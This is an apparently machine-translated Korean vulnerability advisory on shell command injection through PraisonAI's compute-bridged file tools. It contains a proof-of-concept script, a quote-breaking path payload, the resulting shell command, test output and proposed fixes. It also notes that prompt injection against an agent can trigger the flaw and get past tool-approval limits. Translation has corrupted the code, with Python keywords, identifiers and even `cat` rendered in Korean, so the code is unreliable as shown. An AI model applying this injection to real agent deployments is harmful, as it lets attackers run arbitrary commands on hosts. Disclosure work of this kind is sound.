PraisonAI: 컴퓨팅 브리지 파일 도구로 셸 명령 주입 가능
LocalManagedAgent / SandboxedAgent 컴퓨팅 브리징 랩
컴퓨팅 공급자가 다음인 경우 read_file, list_files 및 write_file
첨부. 브리지는 해당 파일 작업을 셸 명령 문자열로 변환합니다.
원시 경로 인수를 사용하여 해당 문자열을 셸 지원 컴퓨팅으로 보냅니다.
공급자.
파일 도구 경로 인수에 영향을 미칠 수 있는 공격자는 해당 경로에서 벗어날 수 있습니다.
인용된 경로를 선택하고 컴퓨팅 환경에서 임의의 셸 명령을 실행합니다.
compute="local"을 사용하면 명령은 로컬 하위 프로세스를 통해 실행됩니다.
호스트의 공급자. Docker를 사용하면 명령이 컨테이너에서 실행됩니다.
MervinPraison/PraisonAIpraisonaisrc/praisonai/praisonai/integrations/managed_local.pyv4.6.10
-v4.6.56
v4.6.572f9677abb2ea68eab864ee8b6a828fd0141612e1의 mainv4.6.9
-v4.6.1
-v4.5.149>= 4.6.10, <= 4.6.57현재 managed_local.py는 브리지 도구 세트를 정의합니다.
``파이썬 Compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}
파일 도구의 경우 `_bridge_file_tool()`은 셸 명령 문자열을 구성합니다.
``파이썬
명령 = f'cat "{파일 경로}"'
명령 = f'ls -la "{디렉토리}"'
명령 = f'cat > "{파일 경로}" << "EOF"\n{content}\nEOF'
로컬 컴퓨팅 공급자는 다음을 사용하여 문자열을 실행합니다.
asyncio.create_subprocess_shell(...); Docker 컴퓨팅 공급자가 이를 실행합니다.
["sh", "-c", 명령]을 사용합니다.
브릿지는 위험도가 낮은 read_file / list_files 도구 이름을 유지하고
실행 기본 요소를 쉘 해석으로 변경하는 동안 서명.
컴퓨팅 브리징 자체는 문서화되어 있으며 의도적입니다. 취약점은 해당 파일 경로 데이터는 쉘 구문으로 해석됩니다.
일반적인 read_file 및 list_files 구현은 동일한 페이로드를 처리합니다.
리터럴 경로로 사용되며 셸 메타 문자를 확장하지 않습니다. 승인 레지스트리
또한 execute_command를 중요로 표시하고 read_file 및 list_files를 표시합니다.
위험한 도구 항목이 아닙니다.
LocalManagedAgent를 사용하여 PraisonAI 에이전트를 노출하는 애플리케이션 또는
컴퓨팅 공급자와 제한된 파일 도구 세트가 있는 SandboxedAgent는
read_file에 대한 경로 인수를 통해 쉘 명령을 실행하도록 속이거나
목록_파일.
이는 최소 권한 도구 구성 및 도구 승인을 우회할 수 있습니다.
기대. 프롬프트 삽입 경로, 채팅 엔드포인트, 자동화 웹훅 또는
다른 사용자 제어 에이전트 작업은
execute_command를 부여하는 연산자입니다.
PoV는 로컬 전용이며 무해합니다. 환경 카나리아를 사용하고 비교합니다. 컴퓨팅 브리지 파일 도구에 대한 일반 파일 도구입니다.
최소 인라인 재생기:
``파이썬 수입 OS pathlib import 경로에서
praisonai.integrations.managed_local에서 LocalManagedAgent, LocalManagedConfig 가져오기 praisonaiagents.tools에서 list_files, read_file 가져오기
workdir = 경로(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", 인코딩="utf-8")
카나리아 = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = 카나리아 페이로드 = '누락"; printf "$PRAI_CAND_006_CANARY"; #'
Normal_read = read_file(str(workdir / 페이로드)) Normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))
cfg = LocalManagedConfig( 이름="prai-cand-006-poc", 도구=["read_file", "list_files"], Working_dir=str(작업 디렉터리), ) 관리됨 = LocalManagedAgent(config=cfg, Compute="local") tools = {tool.name: Managed._resolve_tools()}의 도구용 도구
bridged_read = 도구"read_file" bridged_list = 도구["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')
print("normal_read_contains_canary", Normal_read의 카나리아) print("normal_list_contains_canary", Normal_list의 카나리아) print("bridged_read_contains_canary", bridged_read의 카나리아) print("bridged_list_contains_canary", bridged_list의 카나리아)
명령:
``배쉬
파이썬3 \
제출-번들/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \
--repo 아티팩트/repos/praisonai-current
현재 헤드 결과:
``json { "설명": "v4.6.57-4-g2f9677ab", "취약한": 사실, "normal_controls": { "read_file_payload_contains_canary": 거짓, "list_files_payload_contains_canary": 거짓 }, "bridged_results": { "read_file_payload_contains_canary": 사실, "list_files_payload_contains_canary": 사실 }, "승인_등록": { "execute_command_risk": "중요", "read_file_risk": null, "list_files_risk": null } }
PoV에서 사용되는 페이로드는 다음과 같습니다.
``텍스트
누락됨"; printf "$PRAI_CAND_006_CANARY"; #
일반적인 read_file은 이를 문자 그대로 누락된 파일 이름으로 처리합니다. 브리지 도구
구성:
``쉬 고양이 "실종"; printf "$PRAI_CAND_006_CANARY"; #"
그리고 컴퓨팅 셸에서 카나리아를 반환합니다.
## 제안된 수정 사항
다음에서 쉘 명령 문자열을 구성하여 파일 작업을 구현하지 마십시오.
경로/컨텐츠 인수.
권장 수정사항:
1. 읽기, 쓰기, 나열 작업을 위한 공급자 기본 파일 API를 추가하거나 전달합니다.
공급자가 지원하는 구조화된 argv로 인수를 사용합니다.
2. 일반적인 파일 도구 경로 유효성 검사 및 작업 공간 경계 확인을 유지합니다.
컴퓨팅 브리지 파일 도구용.
3. 'write_file' 콘텐츠를 쉘 소스가 아닌 데이터로 취급합니다. 현재 heredoc
콘텐츠에 구분 기호가 포함될 수 있으면 구성도 안전하지 않습니다.
4. `"`, `;`, `$()`, 백틱이 포함된 경로를 사용하는 회귀 테스트를 추가합니다.
개행, `#` 및 쉘 실행이 발생하지 않는다고 주장합니다.
5. 'execute_command'를 의도적으로 허용하는 유일한 브리지 경로로 유지하세요.
중요한 승인 의미를 지닌 쉘 명령 문자열.
최소한의 임시방편은 'read_file', 'list_files' 및 'write_file'을 제거하는 것입니다.
안전한 공급자 기반 파일 작업이 존재할 때까지 `compute_bridged_tools`.
## 권장 심각도
벡터는 공격자가 에이전트 인터페이스에 대한 낮은 권한 액세스 권한을 가지고 있다고 가정합니다.
파일 도구 사용을 요청할 수 있습니다. 배포 시 이러한 에이전트가 없이 노출되는 경우
인증을 위해서는 'PR:N'이 적합할 수 있습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준